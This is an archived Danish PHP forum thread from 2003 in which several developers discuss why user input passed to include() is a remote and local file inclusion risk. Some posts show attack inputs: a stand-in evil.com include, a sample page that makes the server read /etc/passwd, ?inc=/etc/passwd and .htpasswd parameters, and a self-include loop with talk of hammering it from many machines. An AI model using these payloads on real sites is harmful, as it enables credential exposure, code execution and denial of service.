/ Forside / Teknologi / Udvikling / PHP / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
PHP
#NavnPoint
rfh 3959
natmaden 3372
poul_from 3310
funbreak 2700
stone47 2230
Jin2k 1960
Angband 1743
Bjerner 1249
refi 1185
10  Interkril.. 1146
sikkerhed i php
Fra : Arvid Böttiger


Dato : 11-03-03 01:20

Jeg har lige siddet og læst nogle artikler om sikkerhed i php.
En god genganger er at man skal passe på med brugerindput i include() så der
ikke kommer til at stå include("http://evil.com/evil_page.php").

Men hvorfor det ? Selvfølgelig er det bedste hvis brugeren ikke har lov til
den slags, men ens server modtager jo kun HTML, og hvis den skulle modtage
lidt php ville den jo aldrig eksekvere det.
Derfor vil jeg da mener at der ikke er noget reelt sikkerhedshul, men på den
anden side ville det vel ikke stå i artiklerne hvis det var ufarligt.

mvh

Arvid Böttiger
--
Never argue with idiots, they will bring you down to their level, and then
beat you on experience.



 
 
Kim Schulz (10-03-2003)
Kommentar
Fra : Kim Schulz


Dato : 10-03-03 16:41

On Mon, 10 Mar 2003 16:20:18 -0800
"Arvid Böttiger" <Arvid@[NOSPAM]bottiger.com> wrote:
> Jeg har lige siddet og læst nogle artikler om sikkerhed i php.
> En god genganger er at man skal passe på med brugerindput i include()
> så der ikke kommer til at stå
> include("http://evil.com/evil_page.php").
>
> Men hvorfor det ? Selvfølgelig er det bedste hvis brugeren ikke har
> lov til den slags, men ens server modtager jo kun HTML, og hvis den
> skulle modtage lidt php ville den jo aldrig eksekvere det.
> Derfor vil jeg da mener at der ikke er noget reelt sikkerhedshul, men
> på den anden side ville det vel ikke stå i artiklerne hvis det var
> ufarligt.


prøv at kalde siden evil_page.inc og gennemtænk det så en gang mere,
eller prøv at se på evil.com som en server der ikke understøtter php.


--
Kim Schulz - Freelance Development | Small is beautiful.
Email : kim @ schulz.dk |
Tlf : 51904262 |

Lars Dybdahl (10-03-2003)
Kommentar
Fra : Lars Dybdahl


Dato : 10-03-03 16:42

Arvid Böttiger wrote:
> der ikke kommer til at stå include("http://evil.com/evil_page.php").
> Men hvorfor det ?

To årsager:

1) Jo, hvis siden indeholder php, så vil det blive eksekveret!!!
2) Fordi DNS systemet ikke er 100% hackersikret, og at evil.com derfor kan
pege på hvad som helst.

Et eksempel på en evil_page.php, der ikke er god, er denne:

<?php
echo "<? include (\"/etc/passwd\"); ?>";
?>

evil_page genererer med andre ord noget, som resulterer i php-kode, som
include() så vil udføre.

Lars.

--
Freelance programmør
Programmering mod timebetaling

Arvid Böttiger (11-03-2003)
Kommentar
Fra : Arvid Böttiger


Dato : 11-03-03 07:48

Sikker på det ? Det er jeg ikke.
lad os sige jeg har en *.txt fil som ser sådan her ud:

echo "Kalkun";

Nu får jeg så min php-side til at inkludere *.txt-filer (ekstrent) og hvad
gør den så ?
Hvis den udførte koden og udskrev "Kalkun" (altså uden ") er jeg enig i at
det ville være et stort sikerhedshul, men det gør den ikke.
I stedet udskriver min php-fil "echo "Kalkun";" og derfor vil der være
ligemeget hvor onde mine scripts er. De vil ikke kunne lave skade på
serveren.

Nu brugte jeg selvfølgelig kun en *.txt-fil, men det var for at undgå
forvirring.
jeg kunne vel lige så godt have brugt en php-fil som udskriver noget
php-kode (som du viser), men det kan mit script som inkluderer det hele jo
ikke se forskel på.

er det mig som er helt galt på det ?
Det tror jeg ikke. (men tør ikke æde en eller gammel hat på det)

mvh

Arvid Böttiger

"Lars Dybdahl" <lars@dybdahl.dk> wrote in message
news:3e6cb239$0$42576$edfadb0f@dread11.news.tele.dk...
> Arvid Böttiger wrote:
> > der ikke kommer til at stå include("http://evil.com/evil_page.php").
> > Men hvorfor det ?
>
> To årsager:
>
> 1) Jo, hvis siden indeholder php, så vil det blive eksekveret!!!
> 2) Fordi DNS systemet ikke er 100% hackersikret, og at evil.com derfor kan
> pege på hvad som helst.
>
> Et eksempel på en evil_page.php, der ikke er god, er denne:
>
> <?php
> echo "<? include (\"/etc/passwd\"); ?>";
> ?>
>
> evil_page genererer med andre ord noget, som resulterer i php-kode, som
> include() så vil udføre.
>
> Lars.
>
> --
> Freelance programmør
> Programmering mod timebetaling



Henrik Stidsen (11-03-2003)
Kommentar
Fra : Henrik Stidsen


Dato : 11-03-03 13:41

"Arvid Böttiger" <Arvid@[NOSPAM]bottiger.com> wrote in
news:b4j15u$c2b$1@sunsite.dk

> echo "Kalkun";

Den skal vist se sådan her ud før den virker ordentligt:

<?php
   echo "Kalkun";
?>

--
..: Henrik Stidsen - HS235.dk ::...
http://hs235.dk/cracks - http://susie.dk/
http://hs235.dk/billeder :=)

Kim Schulz (10-03-2003)
Kommentar
Fra : Kim Schulz


Dato : 10-03-03 23:07

On Mon, 10 Mar 2003 22:47:44 -0800
"Arvid Böttiger" <Arvid@[NOSPAM]bottiger.com> wrote:
> Sikker på det ? Det er jeg ikke.
> lad os sige jeg har en *.txt fil som ser sådan her ud:
>
> echo "Kalkun";
>
> Nu får jeg så min php-side til at inkludere *.txt-filer (ekstrent) og
> hvad gør den så ?
> Hvis den udførte koden og udskrev "Kalkun" (altså uden ") er jeg enig
> i at det ville være et stort sikerhedshul, men det gør den ikke.
> I stedet udskriver min php-fil "echo "Kalkun";" og derfor vil der være
> ligemeget hvor onde mine scripts er. De vil ikke kunne lave skade på
> serveren.
>
> Nu brugte jeg selvfølgelig kun en *.txt-fil, men det var for at undgå
> forvirring.
> jeg kunne vel lige så godt have brugt en php-fil som udskriver noget
> php-kode (som du viser), men det kan mit script som inkluderer det
> hele jo ikke se forskel på.
>
> er det mig som er helt galt på det ?
> Det tror jeg ikke. (men tør ikke æde en eller gammel hat på det)


det må være en opsætning hos dig som er anderledes så, for jeg har lige
testet hos 5 af de større webhotel udbydere i landet, og hos dem alle
lavede en
<?
include "http://www.server.foo/min-fil-med-php-i.txt";
?>

kørsel af den php kode som filen indeholdt.


--
Kim Schulz - Freelance Development | "This generation may be the one
Email : kim @ schulz.dk | that will face Armageddon." --
Tlf : 51904262 | Ronald Reagan, "People" magazine,

Jesper Brunholm (11-03-2003)
Kommentar
Fra : Jesper Brunholm


Dato : 11-03-03 08:57

Kim Schulz wrote:
>>jeg kunne vel lige så godt have brugt en php-fil som udskriver noget
>>php-kode (som du viser), men det kan mit script som inkluderer det
>>hele jo ikke se forskel på.
>>
>>er det mig som er helt galt på det ?
>>Det tror jeg ikke. (men tør ikke æde en eller gammel hat på det)

Det var klogt!

Hele forskellen ligger i php-versionen. I manualen står der under
include() at

"Windows versions of PHP prior to PHP 4.3 do not support accessing
remote files via this function, even if allow_url_fopen is enabled. "

- så mon ikke det simpelt hen er det der er forskellen? På en del
servere vil php ikke parse included content igennem hvis det bliver
included via http (det var også det jeg havde lært engang), men på de
nyere servere der bliver det altså parset igennem, så der _er_ seriøse
overvejelser at gøre sig omkring sin include-brug.

/Jesper Brunholm


--
H.C. Andersen-Centret med nyt design: <http://www.andersen.sdu.dk/>
Phønix - dansk folk-musik fra unge musikere - <http://www.phonixfolk.dk/>


Arvid Böttiger (11-03-2003)
Kommentar
Fra : Arvid Böttiger


Dato : 11-03-03 22:49

Det var satans!
Skrev et lille eksempel for at afprøve det, og jeg er ikke særlig glad for
resultatet:
http://www.knast.dk/sikkerhed/?inc=http://www.knast.dk/sikkerhed/http_inc.tx
t

Der er nemlig alt for mange sider derude som bare bruger include() uden at
tænkte sig om, og hvor nemt er det ikke at skrive et lille script som
kopierer et komplet file-manager-system ind på serveren :(

mvh

Arvid Böttiger

"Jesper Brunholm" <nospam@brunholm-scharff.dk> wrote in message
news:3E6D96B2.2060103@brunholm-scharff.dk...
> Kim Schulz wrote:
> >>jeg kunne vel lige så godt have brugt en php-fil som udskriver noget
> >>php-kode (som du viser), men det kan mit script som inkluderer det
> >>hele jo ikke se forskel på.
> >>
> >>er det mig som er helt galt på det ?
> >>Det tror jeg ikke. (men tør ikke æde en eller gammel hat på det)
>
> Det var klogt!
>
> Hele forskellen ligger i php-versionen. I manualen står der under
> include() at
>
> "Windows versions of PHP prior to PHP 4.3 do not support accessing
> remote files via this function, even if allow_url_fopen is enabled. "
>
> - så mon ikke det simpelt hen er det der er forskellen? På en del
> servere vil php ikke parse included content igennem hvis det bliver
> included via http (det var også det jeg havde lært engang), men på de
> nyere servere der bliver det altså parset igennem, så der _er_ seriøse
> overvejelser at gøre sig omkring sin include-brug.
>
> /Jesper Brunholm
>
>
> --
> H.C. Andersen-Centret med nyt design: <http://www.andersen.sdu.dk/>
> Phønix - dansk folk-musik fra unge musikere - <http://www.phonixfolk.dk/>
>



Kim Schulz (11-03-2003)
Kommentar
Fra : Kim Schulz


Dato : 11-03-03 14:02

On Tue, 11 Mar 2003 13:49:28 -0800
"Arvid Böttiger" <Arvid@[NOSPAM]bottiger.com> wrote:
> Det var satans!
> Skrev et lille eksempel for at afprøve det, og jeg er ikke særlig glad
> for resultatet:
> http://www.knast.dk/sikkerhed/?inc=http://www.knast.dk/sikkerhed/http_inc.tx
> t
>
> Der er nemlig alt for mange sider derude som bare bruger include()
> uden at tænkte sig om, og hvor nemt er det ikke at skrive et lille
> script som kopierer et komplet file-manager-system ind på serveren :(


det er et ganske kendt fænomen, og det er også netop derfor der advares
imod det. Søg på "php source injection" og du vil finde tonsvis af den
slags.

og det er ikke blot eksterne sider som giver problemer, men også
interne, for hvad hvis man benytter ?inc=/etc/passwd eller
?inc=.htaccess eller .htpasswd osv.



--
Kim Schulz - Freelance Development | Yow! I want to mail a bronzed
Email : kim @ schulz.dk | artichoke to Nicaragua!
Tlf : 51904262 |

Henrik Stidsen (11-03-2003)
Kommentar
Fra : Henrik Stidsen


Dato : 11-03-03 18:04

Kim Schulz <kim@schulz.dk> wrote in
news:20030311140142.1472bebd.kim@schulz.dk

> og det er ikke blot eksterne sider som giver problemer, men også
> interne, for hvad hvis man benytter ?inc=/etc/passwd eller
> ?inc=.htaccess eller .htpasswd osv.

Og den mindre slemme:
/index.php?p=index.php
- et uendeligt loop der kan give problemer i længden...

--
..: Henrik Stidsen - HS235.dk ::...
http://hs235.dk/cracks - http://susie.dk/
http://hs235.dk/billeder :=)

Kim Schulz (11-03-2003)
Kommentar
Fra : Kim Schulz


Dato : 11-03-03 19:05

[snip]
> Og den mindre slemme:
> /index.php?p=index.php
> - et uendeligt loop der kan give problemer i længden...


browseren plejer at sige stop før serveren gør Det kan dog klares
med en wget ........ -O /dev/null


--
Kim Schulz - Freelance Development | Don't ever slam a door; you might
Email : kim @ schulz.dk | want to go back.
Tlf : 51904262 |

Henrik Stidsen (11-03-2003)
Kommentar
Fra : Henrik Stidsen


Dato : 11-03-03 22:54

Kim Schulz <kim@schulz.dk> wrote in
news:20030311190522.0b62e536.kim@schulz.dk

>> Og den mindre slemme:
>> /index.php?p=index.php
>> - et uendeligt loop der kan give problemer i længden...
>
> browseren plejer at sige stop før serveren gør Det kan dog
> klares med en wget ........ -O /dev/null

Ja der skal ikke mange trick til før der sker noget.
Jeg prøvede det på en side der brugte en så dårlig include til at
hente indholdet. Jeg fik hentet 4-5 mb ned uden at browser eller
server sagde stop.

Forestil dig hvis det blev koordineret mellem 10-20 maskiner - eller
man f.eks. satte en downloadcache til at hente siden (en server der
bare henter filen for fuld skrald).

--
..: Henrik Stidsen - HS235.dk ::...
http://hs235.dk/cracks - http://susie.dk/
http://hs235.dk/billeder :=)

Søg
Reklame
Statistik
Spørgsmål : 177559
Tips : 31968
Nyheder : 719565
Indlæg : 6408937
Brugere : 218888

Månedens bedste
Årets bedste
Sidste års bedste